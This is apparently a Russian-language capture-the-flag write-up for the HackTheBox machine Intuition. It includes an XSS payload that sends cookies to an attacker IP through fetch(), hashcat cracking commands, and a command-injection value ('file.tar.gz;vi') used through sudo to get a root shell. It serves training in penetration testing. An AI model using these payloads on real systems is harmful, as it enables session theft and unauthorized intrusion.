Telegram / Boosty / Видео
Подпишись на канал t.me/kiberdruzhinnik, чтобы не пропускать контент.
Также на https://boosty.to/kiberdruzhinnik/posts/de9ff766-a7ea-4199-8cc2-b23858d8a140 я опубликовал подробный видео разбор этой задачи. Это может быть полезно для обучения, если вы делаете первые шаги в информационной безопасности. Поддержать меня на Boosty.
Обзор сервисов
Сканируем порты, находим ожидаемые для линукс машины:
Open 10.129.168.255:80
Open 10.129.168.255:22
Веб
Занесем домен comrezzor.htb
к себе в /etc/hosts
и обнаружим вот такое:
Пробежимся с помощью gobuster
по vhost и обнаружим такие домены:
Found: auth.comprezzor.htb Status: 302 [Size: 199] [--> /login]
Found: report.comprezzor.htb Status: 200 [Size: 3166]
Found: dashboard.comprezzor.htb Status: 302 [Size: 251] [--> http://auth.comprezzor.htb/login]
Их тоже занесем к себе в hosts
.
Зарегистрируем себе аккаунт:
И в форму отчета отправим XSS-нагрузку:
<img src=x onerror=fetch('http://10.10.14.110/'+document.cookie);>
С пойманной сессией user_data
логинимся на dashboard.comprezzor.htb
:
Отправляем еще раз репорт с той же нагрузкой, меняем ему приоритет на 1
и ловим вторую сессионную куку user_data
, после чего используем ее и попадаем в админку:
Перейдем в создание PDF-отчета и скачаем файл с паролем от FTP:
file:///app/code/blueprints/dashboard/dashboard.py
С помощью этих кредов начинаем скачивать файлы с FTP-сервера:
ftp://USER:[email protected]
Забираем приватный ключ, в комментариях к нему (можно проверить с помощью ssh-keygen
) написано, что аккаунт принадлежит dev_acc
.
Логинимся с его помощью на SSH.
ssh -i id_ras [email protected]
Флаг пользователя
Повышение привилегий
Исследуем файл /var/www/app/blueprints/auth/users.db
и найдем хеш пользователя adam
, который успешно сбрутим:
hashcat -m 30120 -a 0 hash.txt rockyou.txt
С помощью полученного пароля зайдем на FTP под пользователем adam
и скачаем все файлы.
В файлах - MD5-хеш и часть пароля для Ansible-обертки.
Брутим пароль вот так:
hashcat -a 3 -m 0 hash.txt 'UHI75GHI?a?a?a?a'
Но для полного счастья нам нужен пользователь из группы sys-adm
, который имеет доступ к /opt/runner2/
.
В логах /var/log/suricata
обнаруживаем логин и пароль пользователя lopez
и логинимся по SSH с их помощью.
lopez
находится в группе sys-adm
, а также может исполнять файл /opt/runner2/runner2
в качестве суперпользователя:
$ sudo -l
[sudo] password for lopez:
Matching Defaults entries for lopez on intuition:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User lopez may run the following commands on intuition:
(ALL : ALL) /opt/runner2/runner2
Скачиваем этот файл себе, реверсим его и находим Command Injection:
Далее достаточно создать файл test.json
:
{
"run": {
"action": "install",
"role_file": "file.tar.gz;vi"
},
"auth_code": "UHI75GHI****"
}
И еще нам нужно создать любой валидный tar.gz
файл, например, "file.tar.gz;vi"
.
Далее запускаем все это добро в качестве sudo
:
sudo /opt/runner2/runner2 test.json
:!/bin/bash